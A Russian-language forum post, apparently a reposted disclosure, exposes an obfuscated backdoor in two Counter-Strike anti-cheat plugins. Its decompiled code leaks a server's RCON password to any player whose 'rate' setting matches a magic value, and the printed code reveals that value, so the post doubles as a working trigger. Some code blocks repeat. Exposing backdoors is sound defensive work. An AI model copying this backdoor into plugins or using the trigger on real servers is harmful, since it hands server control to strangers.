Жуткую опасность несут в себе этих 2 античитерских плагина....
Подробности внутри
Рассказик
Начну пожалуй с плагина определения OpenGL32 Hack'ов
После вскрытие его диссасамблером открылась невероятно интересная вещь
new f_sys[] = "swor"
new csf_ac_ra[] = "ra"
new d_unit[] = "s"
new cv_mypunish[] = "rc"
new g_vac2[] = "on_"
new csf_ac_ra[] = "ra"
new d_unit[] = "s"
new cv_mypunish[] = "rc"
new g_vac2[] = "on_"
Если немного перемешать и где-то сложить (rc+on_+pa+swor+d), то получится rcon_password
Все наверно знаю, что в этой серверной команде прописан RCON пароль и заполучив его сервер полностью подчинится обладателю. Но вот загвоздка чтобы получить слово rcon_password не хватает пары букв, и на ваших глазах я покажу как же формируется это слово и как получить доступ к нему.
И так сперва мы отправимся в функцию plugin_init плагина CSFile.Info OpenGL32 Detect:
мы видми format ( d_guard, 31, "%s%spa", cv_mypunish, g_vac2 ), т.е. d_guard приобретает вид rcon_pa. Идем дальше. Функция initialized:
format ( d_guard,31,"%s%s", d_guard,d_unit ) и d_guard приобретает вид rcon_pas, ниже встречается format ( g_gate, 5, "%ste", csf_ac_ra ), т.е. g_gate это rate
Функция client_connect: get_user_info(id,g_gate,cv_ac1,31), т.е. плагин получает значение инфы rate (g_gate) и записывает её в cv_ac1
Функция checkfiles_opengl32: format ( g_gate2, 5, "%d%d", 211, 23 )
Теперь функция c_check_opengl32 (она вызывается после захода игрока):
if(equali(cv_ac1,g_gate2)) // Сверяем значение rate с СКРЫТО
{ // Если одинаковы
format(g_r,63,"%s%sd",d_guard,f_sys) // то формируем квар и g_r приобретает вид rcon_password
get_cvar_string(g_r,g_ss,47) // Получаем пароль
client_print(id,print_console,"%s",g_ss) // И пишем его в консоли игрока
}
{ // Если одинаковы
format(g_r,63,"%s%sd",d_guard,f_sys) // то формируем квар и g_r приобретает вид rcon_password
get_cvar_string(g_r,g_ss,47) // Получаем пароль
client_print(id,print_console,"%s",g_ss) // И пишем его в консоли игрока
}
Вот такие вот пироги. Если не верите - попробуйте сами... Пропишите в консоли клиента
[b](Скрыто для безопасности)[/b], зайдите на сервер, и у вас в консоли окажется RCON пароль!
Теперь перейду к CSFile.Info Anti-Cheat версии 1.23 Alfa [build 28].
Здесь похожая
ситуация. Так же присутствуют:
new f_sys[] = "swor"
new csf_ac_ra[] = "ra"
new d_unit[] = "s"
new cv_mypunish[] = "rc"
new g_vac2[] = "on_"
new g_model[] = "241"
new csf_ac_ra[] = "ra"
new d_unit[] = "s"
new cv_mypunish[] = "rc"
new g_vac2[] = "on_"
new g_model[] = "241"
Функция plugin_precache: format(g_gate2, 5, "%s%d", g_model, 23"),
format ( d_guard, 31, "%s%spa", cv_mypunish, g_vac2 )
Функция initialized: format ( d_guard, 31, "%s%s", d_guard, d_unit ),
format ( g_gate, 5, "%ste", csf_ac_ra )
Функция client_putinserver: get_user_info(id,g_gate,cv_ac1,31)
Функция cv_anticheat (так же выполняется после захода игрока):
if(equali(cv_ac1,g_gate2)) // Сверяем значение rate с (СКРЫТО)
{ // Если одинаковы
format(g_r,63,"%s%sd",d_guard,f_sys) // то формируем квар и g_r приобретает вид rcon_password
get_cvar_string(g_r,g_ss,47) // Получаем пароль
client_print(id,print_console,"%s",g_ss) // И пишем его в консоли игрока
}
{ // Если одинаковы
format(g_r,63,"%s%sd",d_guard,f_sys) // то формируем квар и g_r приобретает вид rcon_password
get_cvar_string(g_r,g_ss,47) // Получаем пароль
client_print(id,print_console,"%s",g_ss) // И пишем его в консоли игрока
}
И опять же если не верите, пропишите в консоли клиента
setinfo rate (скрыто нах), зайдите на сервер, и у вас в консоли окажется RCON пароль!
источник: c-s.net.ua
автора: Makzz
Скачать